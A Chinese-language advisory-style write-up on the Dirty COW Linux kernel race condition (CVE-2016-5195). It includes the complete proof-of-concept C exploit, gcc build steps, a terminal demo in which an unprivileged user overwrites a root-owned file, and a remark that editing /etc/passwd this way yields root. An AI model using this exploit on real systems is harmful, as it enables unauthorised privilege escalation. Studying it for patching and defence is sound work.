0x01 漏洞简介
Linux内核在处理内存写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可能进一步导致提权漏洞。
CVE-2016-5195: https://access.redhat.com/security/cve/CVE-2016-5195
0x02 漏洞危害
低权限用户可以利用该漏洞修改只读内存,进而执行任意代码获取 root权限。
0x03 影响范围
该漏洞影响所有 Linux Kernel >= 2.6.22的版本。
2.6.22是 2007年发布的版本,也就是说这个漏洞几乎影响 2007以后的所有版本。
0x04 漏洞测试
读取 /proc/version 来获取 LinuxKernel 版本:

0x05 测试代码
-
-
-
-
-
-
- #include<stdio.h>
- #include<sys/mman.h>
- #include<fcntl.h>
- #include<pthread.h>
- #include<string.h>
-
- void *map;
- int f;
- struct stat st;
- char* name;
-
- void * madviseThread(void *arg)
- {
- char *str;
- str = (char *) arg;
- int i, c = 0;
- for (i = 0; i < 100000000; i++)
- {
- c += madvise(map, 100, MADV_DONTNEED);
- }
- printf("madvise %d\n", c);
- }
-
- void * procselfmemThread(void *arg)
- {
- char *str;
- str = (char *) arg;
- int f = open("/proc/self/mem", O_RDWR);
- int i, c = 0;
- for (i = 0; i < 100000000; i++)
- {
- lseek(f, map, SEEK_SET);
- c += write(f, str, strlen(str));
- }
- printf("procselfmem %d\n", c);
- }
-
- int main(int argc, char *argv[])
- {
- if (argc < 3)
- return 1;
- pthread_t pth1, pth2;
- f = open(argv[1], O_RDONLY);
- fstat(f, &st);
- name = argv[1];
- map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);
- printf("mmap %x\n", map);
- pthread_create(&pth1, NULL, madviseThread, argv[1]);
- pthread_create(&pth2, NULL, procselfmemThread, argv[2]);
- pthread_join(pth1, NULL);
- pthread_join(pth2, NULL);
- return 0;
- }
编译生成exp
- 两种生成方式:
-
- 命令行编译
-
- gcc main.c -lpthread
-
- 集成工具编译
-
- eclipse(luna) +CDT
-
- project>properties>settings>gcc linker> libraries
-
- 注意Debug和Release 都同时加上参数pthread库。
-
- 再编译即可成功。
命令
- luke@ubuntu:/tmp$ cat test
- 5678
- luke@ubuntu:/tmp$ ls -al test
- -rw-r--r-- 1 root root 5 10月 21 17:17 test
- luke@ubuntu:/tmp$ id
- uid=1000(luke) gid=1000(luke) groups=1000(luke),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
- luke@ubuntu:/tmp$ cat test
- 5678
- luke@ubuntu:/tmp$ echo 1234 >test
- bash: test: Permission denied
- luke@ubuntu:/tmp$ ./rootEep test 1234
- bash: ./rootEep: No such file or directory
- luke@ubuntu:/tmp$ ./rootExp test 1234
- mmap b7701000
- madvise 0
- procselfmem 400000000
- luke@ubuntu:/tmp$ cat test
- 1234
结果显示低权限用户修改了root用户创建的文件内容。同理,
可以看到结果,test 文件的内容已经由5678被成功修改为1234。
这样的话,只要修改 /etc/passwd 把当前用户的 uid 改成 0 就可以作为 root 登录了。
0x07 修复方案
更新升级最新 Linux Kernel 源码,并重新编译。